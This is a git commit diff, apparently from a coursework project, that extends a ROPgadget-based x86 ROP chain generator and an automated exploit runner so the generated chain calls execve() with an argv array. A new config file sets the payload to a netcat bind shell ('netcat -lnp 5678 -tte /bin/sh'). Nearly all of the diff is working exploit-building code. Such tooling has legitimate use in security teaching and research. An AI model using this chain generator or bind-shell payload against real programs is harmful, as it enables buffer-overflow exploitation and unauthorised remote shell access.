Add execve arguments

Co-authored-by: Chris Gora <34940205+ChrisGora@users.noreply.github.com>
Co-authored-by: jack bond-preston <jackbondpreston@outlook.com>
This commit is contained in:
Liam Dalgarno 2020-11-28 17:42:09 +00:00
parent b38616fd71
commit f92b6e9ccd
5 changed files with 66 additions and 25 deletions

View File

@ -86,7 +86,7 @@ architectures supported:
parser.add_argument("--offset", type=str, metavar="<hexaddr>", help="Specify an offset for gadget addresses")
parser.add_argument("--paddingLen", type=int, metavar="<nbyte>", default=6, help="Specify the padding length for the ROP chain")
parser.add_argument("--ropFile", type=str, metavar="<string>", default="rop.txt", help="The file to write the generated ROP bytes to")
parser.add_argument("--execPath", type=str, metavar="<string>", default="/bin/sh", help="Path of the executable to make execve() run")
parser.add_argument("--execFile", type=str, metavar="<string>", default="/bin/sh", help="Path of the executable to make execve() run")
parser.add_argument("--ropchain", action="store_true", help="Enable the ROP chain generation")
parser.add_argument("--thumb" , action="store_true", help="Use the thumb mode for the search engine (ARM only)")
parser.add_argument("--console", action="store_true", help="Use an interactive console for search engine")

View File

@ -12,6 +12,7 @@ import re
import codecs
import ropgadget.rgutils as rgutils
import binascii
import json
from ropgadget.binary import Binary
from capstone import CS_MODE_32
@ -215,9 +216,12 @@ class Core(cmd.Cmd):
self.__getGadgets()
self.__lookingForGadgets()
if self.__options.ropchain:
with open(self.__options.execFile) as f:
exec_contents = json.load(f)
ROPMaker(
self.__binary, self.__gadgets, self.__options.paddingLen,
self.__options.ropFile, self.__options.execPath, self.__offset
self.__options.ropFile, exec_contents, self.__offset
)
return True

View File

@ -9,19 +9,18 @@
import re
from capstone import *
from textwrap import wrap
import sys
import math
from struct import pack
class ROPMakerX86(object):
def __init__(self, binary, gadgets, paddingLen, outFile, execPath, liboffset=0x0):
def __init__(self, binary, gadgets, paddingLen, outFile, exec, liboffset=0x0):
self.__binary = binary
self.__gadgets = gadgets
self.paddingLen = paddingLen
self.outFile = outFile
self.execPath = execPath
self.exec = exec
# If it's a library, we have the option to add an offset to the addresses
self.__liboffset = liboffset
@ -46,7 +45,7 @@ class ROPMakerX86(object):
if g != "ret":
if g.split()[0] == "ret" and g.split()[1] != "":
raise
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
# print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
return [gadget, regex.group("dst"), regex.group("src")]
except:
continue
@ -64,7 +63,7 @@ class ROPMakerX86(object):
if g != "ret":
if g.split()[0] == "ret" and g.split()[1] != "":
raise
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
# print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
return gadget
except:
continue
@ -121,24 +120,29 @@ class ROPMakerX86(object):
print("\n# [-] Error - Can't find a writable section")
return
print(f"dataAddr = 0x{dataAddr:08x}")
print(f"int 0x80 = 0x{syscall['vaddr']:08x}")
# prepend padding
p = bytes('A' * self.paddingLen, "ascii")
command = self.execPath
command = self.exec[0]
# split command into chunks of 4, prepend with /s as necessary
if len(command) % 4 > 0:
command = padding_len(len(command)) * "/" + command
command = padding_len(len(command)) * "/" + command
command_chunks = wrap(command, 4)
## EXEC (ARG0) \0 ARG1 \0 ARG2 \0 ... \0 PTR->EXEC PTR->ARG1 PTR->ARG2 ... \0 ##
args = ["test", "test1", "long string example"]
args = self.exec[1:]
chunked_args = []
for arg in args:
if len(arg) % 4 > 0:
arg = arg + padding_len(len(arg)) * "!"
chunked_args.append(wrap)
arg = arg + padding_len(len(arg)) * "!"
print(arg)
chunked_args.append(wrap(arg, 4))
print(chunked_args)
# & ( "cat" \0 )
exec_addr = dataAddr
@ -185,7 +189,24 @@ class ROPMakerX86(object):
# Write Argument Strings #
##########################
for i, arg in enumerate(chunked_args):
this_arg_addr = arg_addr[i]
for j, chunk in enumerate(arg):
address = this_arg_addr + (j * 4)
# write 4 char chunk of the command
p += self.__write4bytes(
address,
bytes(chunk, "ascii"),
dataAddr, popDst, popSrc, write4where
)
p += self.__write4nulls(
this_arg_addr + len(args[i]),
popDst, xorSrc, write4where
)
####################
# Write Argv Array #
@ -198,6 +219,13 @@ class ROPMakerX86(object):
dataAddr, popDst, popSrc, write4where
)
for i, address in enumerate(arg_addr):
p += self.__write4bytes(
argv_addr + ((i + 1) * 4),
pack('<I', address),
dataAddr, popDst, popSrc, write4where
)
# write null byte after argv array
p += self.__write4nulls(
argv_addr + (len(args) * 4) + 4,
@ -243,9 +271,9 @@ class ROPMakerX86(object):
# To find the smaller gadget
self.__gadgets.reverse()
print("\n# ROP chain generation\n# ===========================================================")
# print("\n# ROP chain generation\n# ===========================================================")
print("\n# - Step 1 -- Write-what-where gadgets\n")
# print("\n# - Step 1 -- Write-what-where gadgets\n")
gadgetsAlreadyTested = []
while True:
@ -274,7 +302,7 @@ class ROPMakerX86(object):
else:
break
print("\n# - Step 2 -- Init syscall number gadgets\n")
# print("\n# - Step 2 -- Init syscall number gadgets\n")
xorEax = self.__lookingForSomeThing("xor eax, eax")
if not xorEax:
@ -286,7 +314,7 @@ class ROPMakerX86(object):
print("# [-] Can't find the 'inc eax' instruction")
return
print("\n# - Step 3 -- Init syscall arguments gadgets\n")
# print("\n# - Step 3 -- Init syscall arguments gadgets\n")
popEbx = self.__lookingForSomeThing("pop ebx")
if not popEbx:
@ -303,14 +331,14 @@ class ROPMakerX86(object):
print("# [-] Can't find the 'pop edx' instruction")
return
print("\n# - Step 4 -- Syscall gadget\n")
# print("\n# - Step 4 -- Syscall gadget\n")
syscall = self.__lookingForSomeThing("int 0x80")
if not syscall:
print("# [-] Can't find the 'syscall' instruction")
return
print("\n# - Step 5 -- Build the ROP chain\n")
# print("\n# - Step 5 -- Build the ROP chain\n")
self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall)
@ -319,3 +347,6 @@ class ROPMakerX86(object):
def padding_len(x):
return -(x % -4)
def wrap(str, n):
return [ str[i:i + n] for i in range(0, len(str), n) ]

View File

@ -4,6 +4,7 @@ import math
import os
import subprocess
import sys
import json
from contextlib import redirect_stderr
from pwnlib.context import context
@ -35,15 +36,16 @@ print(r'''
arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable")
arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit")
arg_parser.add_argument("--rop_file", metavar="rop_file", default="rop.txt", type=str, help="The name of the generated ROP input file")
arg_parser.add_argument("--rop_exec", metavar="rop_exec", default="/bin/sh", type=str, help="The path to the executable the ROP should run")
arg_parser.add_argument("--rop_exec_file", metavar="rop_exec", default="rop_exec.json", type=str, help="The path to the file containing the command for the ROP to run")
arg_parser.add_argument("--min_payload", metavar="min", default=32, type=int, help="The minimum payload length to try")
arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try")
arg_parser.add_argument("--run", action="store_true", default=False, help="Automatically run the ROP on the executable")
args = arg_parser.parse_args()
exec_file = args.exec_file
rop_file = args.rop_file
rop_exec = args.rop_exec
rop_exec_file = args.rop_exec_file
min_payload = args.min_payload
max_payload = args.max_payload
run = args.run
@ -96,15 +98,18 @@ result = subprocess.run(
"--silent",
"--paddingLen", str(offset),
"--ropFile", rop_file,
"--execPath", rop_exec
"--execFile", rop_exec_file,
],
stdout = subprocess.PIPE
)
with open("log/ropgadget.log", "wb") as f:
f.write(result.stdout)
print(f" └─[🤩] All done! The ROP input is saved to {rop_file}!")
if run:
pwnlibexit._run_handlers()
print()
print(f"[ Run Program : ./{exec_file} {rop_file} ]")
os.execv(exec_file, [exec_file, rop_file])

1
rop_exec.json Normal file
View File

@ -0,0 +1 @@
["/home/vagrant/cw/netcat-0.7.1/src/netcat", "-lnp", "5678", "-tte", "/bin/sh"]